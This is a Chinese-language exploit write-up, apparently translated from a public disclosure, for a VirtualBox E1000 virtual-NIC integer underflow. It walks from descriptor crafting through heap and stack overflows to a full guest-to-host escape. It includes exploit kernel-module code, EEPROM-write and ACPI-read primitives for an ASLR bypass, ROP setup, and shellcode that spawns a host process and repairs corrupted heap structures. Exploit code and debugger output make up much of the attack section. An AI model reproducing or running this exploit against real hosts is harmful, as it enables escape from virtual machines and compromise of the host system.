virtualbox_e1000_0day

让我们如下分配其结构字段（字段名是假设的，便于人类阅读，但直接映射到82540EM规范）：```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

e1kTxDLazyLoad 将从 Tx Ring 读取所有 5 个 Tx 描述符。然后第一次调用 e1kLocateTxPacket。该函数遍历所有描述符以设置初始状态，但并未实际处理它们。在我们的例子中，第一次调用 e1kLocateTxPacket 将处理 context_1、data_2 和 data_3 描述符。剩下的两个描述符，context_4 和 data_5，将在 while 循环的第二次迭代中处理（我们将在下一节讨论第二次迭代）。这种两部分数组划分对于触发漏洞至关重要，因此我们来分析原因。

e1kLocateTxPacket 看起来像这样：```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

如果 data_3.end_of_packet 为假，那么剩余的 context_4 和 data_5 描述符将被处理，漏洞就会被绕过。下面你将看到为什么该函数的返回导致了该错误。

在 e1kLocateTxPacket 函数的末尾，我们有以下描述符准备好解开网络数据包并发送到网络：context_1, data_2, data_3。然后 e1kXmitPending 的内部循环调用 e1kXmitPacket。这个函数遍历所有描述符（本例中为5个）以实际处理它们：```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

传递给 e1kXmitDesc 的第一个描述符是 context_1。该函数不对上下文描述符执行任何操作。

传递给 e1kXmitDesc 的第二个描述符是 data\_2。由于我们所有数据描述符的 tcp\_segmentation\_enable 都为 true（上述 pDesc->data.cmd.fTSE），因此我们调用 e1kFallbackAddToFrame，在处理 data\_5 时会发生整数下溢。```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

由于 data_3 的类型 != E1K_DTYP_CONTEXT 且 data_3.end_of_packet == true，我们跳出循环，尽管还有 context_4 和 data_5 需要处理。为什么这很重要？理解该漏洞的关键在于理解所有上下文描述符都在数据描述符之前处理。上下文描述符在 e1kLocateTxPacket 中的 TCP 分段上下文更新期间处理。数据描述符稍后在 e1kXmitPacket 函数内部的循环中处理。开发者的意图是禁止在处理某些数据后更改 u16MaxPktLen，以防止代码中的整数下溢：```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

这里我们调用 e1kLocateTxPacket 来对 context_4 和 data_5 描述符进行初步处理。之前提到，我们可以将 context_4.maximum_segment_size 设置为小于已读取数据大小，即小于 0x10。回想一下我们输入的 Tx 描述符：```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

这使得以下检查成立，因为 0xFFFFFFFF > 0x4188：```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

### 缓冲区溢出
我们已使用大小 0x4188 调用了 e1kFallbackAddSegment。这如何被利用？我发现了至少两种可能性。首先，数据将从 guest 读取到堆缓冲区：```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

如您所见，我们将整数下溢转变为了经典的栈缓冲区溢出。上述两种溢出——堆溢出和栈溢出——都在该漏洞利用程序中使用。

## 漏洞利用
该漏洞利用程序是一个Linux内核模块（LKM），加载到客户操作系统中。Windows情况需要不同的驱动程序，仅初始化包装器和内核API调用与LKM不同。

在两个操作系统中加载驱动程序都需要提升权限。这很常见，并不被认为是不可逾越的障碍。看看Pwn2Own竞赛，研究人员使用漏洞利用链：在客户操作系统中打开恶意网站的浏览器被利用，浏览器沙箱逃逸以获得完整的ring 3访问权限，操作系统漏洞被利用以开辟通往ring 0的道路，从那里你可以从客户操作系统中攻击管理程序所需的一切。
最强大的管理程序漏洞无疑是那些可以从客户ring 3利用的漏洞。VirtualBox中也有这样的代码，无需客户root权限即可访问，而且大多数尚未审计。

该漏洞利用程序是100%可靠的。这意味着它要么始终有效，要么永远无效，原因可能是二进制文件不匹配或其他我没有考虑的更微妙的原因。它至少适用于默认配置下的Ubuntu 16.04和18.04 x86_64客户机。

### 利用算法
1) 攻击者卸载Linux客户机中默认加载的e1000.ko，并加载漏洞利用程序的LKM。
2) LKM根据数据手册初始化E1000。仅初始化发送部分，因为不需要接收部分。
3) 步骤1：信息泄露。
    1) LKM禁用E1000环回模式，使栈缓冲区溢出代码不可达。
    2) LKM利用整数下溢漏洞制造堆缓冲区溢出。
    3) 堆缓冲区溢出允许使用E1000 EEPROM在相对于堆缓冲区128 KB范围内写入任意两个字节。因此攻击者获得了写入原语。
    4) LKM使用写入原语8次，将字节写入堆上的ACPI（高级配置与电源接口）数据结构。字节写入一个堆缓冲区的索引变量，随后将从中读取单个字节。由于缓冲区大小小于最大索引数（255），攻击者可以读取缓冲区之外的内容，因此获得了读取原语。
    5) LKM使用读取原语8次访问ACPI，从堆中获取8个字节。这些字节是VBoxDD.so共享库的指针。
    6) LKM从指针中减去RVA以获取VBoxDD.so映像基址。
4) 步骤2：栈缓冲区溢出。
    1) LKM启用E1000环回模式，使栈缓冲区溢出代码可达。
    2) LKM利用整数下溢漏洞制造堆缓冲区溢出和栈缓冲区溢出。保存的返回地址（RIP/EIP）被覆盖。攻击者获得控制权。
    3) ROP链被执行以执行shellcode加载器。
5) 步骤3：Shellcode。
    1) Shellcode加载器从堆栈中复制紧邻自身的shellcode。Shellcode被执行。
    2) Shellcode执行fork和execve系统调用，以在主机端生成任意进程。
    3) 父进程执行进程继续。
6) 攻击者卸载LKM并重新加载e1000.ko，以允许客户机使用网络。

### 初始化
LKM映射与E1000 MMIO相关的物理内存。物理地址和大小由管理程序预定义。```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

### ASLR 绕过
#### 写入原语
在漏洞利用开发之初，我就决定不使用默认禁用服务中的原语。这意味着首先排除 Chromium 服务（非浏览器），该服务提供 3D 加速，而去年研究人员在该服务中发现了超过 40 个漏洞。

问题在于如何在 VirtualBox 默认子系统中找到信息泄露。显而易见的想法是，如果整数下溢允许堆缓冲区溢出，那么我们就可以控制缓冲区之后的任何内容。我们将看到，不需要任何额外的漏洞：整数下溢似乎足够强大，可以从中衍生出读取、写入和信息泄露原语，更不用说栈缓冲区溢出了。

让我们检查堆上究竟溢出了什么。```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

我们如何滥用它们？E1000 实现了 EEPROM（电可擦可编程只读存储器），即辅助适配器内存。客户机操作系统可以通过 E1000 MMIO 寄存器访问它。EEPROM 被实现为一个具有多个状态的有限自动机，并执行四种操作。我们只对“写入内存”感兴趣。其实现如下（src/VBox/Devices/Network/DevEEPROM.cpp）：```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

#### 读取原语

下一个问题是在堆上寻找数据结构以写入任意数据，主要目标是泄漏共享库指针以获取其镜像基址。幸运的是，无需进行不稳定的堆喷射，因为虚拟设备的主要数据结构似乎是从内部虚拟机监控程序堆中分配的，且它们之间的距离始终保持恒定，尽管其虚拟地址当然会因 ASLR 而随机化。

当启动虚拟机时，PDM（可插拔设备与驱动管理器）子系统会在虚拟机监控程序堆中分配 PDMDEVINS 对象。```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

注意位于 #0xE 位置的 E1000 设备。在第二个列表中可以看到，下一个设备位于 E1000 的 0x5700 偏移处，再下一个位于 0x19E0 处，以此类推。我们已经说过，这些距离总是相同的，这就是我们的利用机会。

E1000 之后的设备是 ICH IC'97、OHCI、ACPI、VirtualBox GIM。通过学习它们的数据结构，我找到了使用写入原语的方法。

在虚拟机启动时，ACPI 设备被创建（src/VBox/Devices/PC/DevACPI.cpp）：```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

当客户操作系统执行INB(0x4107)指令从端口读取一个字节时，处理程序从au8SMBusBlkDat[32]数组中取出一个字节，索引为u8SMBusBlkIdx，并返回给客户机。这就是如何应用写原语：由于虚拟设备堆块之间的距离是恒定的，因此从EEPROM93C46.m_au16Data数组到ACPIState.u8SMBusBlkIdx的距离也是恒定的。通过向ACPIState.u8SMBusBlkIdx写入两个字节，我们可以从ACPIState.au8SMBusBlkDat中读取任意数据，范围在255字节内。

存在一个障碍。查看ACPIState结构体可以发现，数组位于结构体的末尾。其余字段对于泄露没有用处。那么，我们来看看在结构体之后可以找到什么：```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

据说，为了使整数下溢不会导致堆栈缓冲区溢出，需要配置某些 E1000 寄存器。其思路是，在循环模式下处理 Tx 描述符时，e1kHandleRxPacket 函数会被调用，从而导致缓冲区溢出。实际上，在循环模式下，客户机将网络数据包发送给自己，因此在发送后立即被接收。我们禁用了此模式，因此 e1kHandleRxPacket 不可达。

### DEP 绕过
我们已经绕过了 ASLR。现在可以启用循环模式，并触发堆栈缓冲区溢出。```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

shellcode被执行。其第一部分是：```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret

当 e1kHandleRxPacket 被调用时，调用栈为：```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Shellcode 将 0x48 加到 RBP 上，使其恢复为 e1kR3NetworkDown_XmitPending 中应有的值。接下来，寄存器 RBX、R12、R13、R14、R15 从栈中取出，因为 System V ABI 要求在 callee 函数中保留它们。如果不这样做，hypervisor 会因为其中的无效指针而崩溃。

这可能已经足够了，因为虚拟机不再崩溃并继续执行。但是在关闭虚拟机时，PDMR3QueueDestroyDevice 函数中会出现访问违规。原因是当堆被溢出时，一个重要的结构 PDMQUEUE 被覆盖。而且，它被最后两个 ROP gadgets 覆盖，即最后的 16 字节。我尝试缩小 ROP 链的大小但失败了，但当我手动替换数据时，hypervisor 仍然崩溃。这意味着障碍并非看上去那么简单。

被覆盖的数据结构是一个链表。需要覆盖的数据位于倒数第二个列表元素中；下一个指针将被覆盖。解决方法原来很简单：```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL